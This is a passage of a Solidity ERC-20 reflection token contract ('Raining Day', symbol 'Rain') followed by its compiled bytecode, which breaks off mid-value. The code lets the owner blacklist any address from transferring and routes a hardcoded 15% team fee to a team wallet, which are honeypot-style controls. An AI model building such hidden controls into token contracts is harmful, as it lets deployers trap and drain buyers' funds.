owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600c81526020017f5261696e696e6720446179200000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f205261696e000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565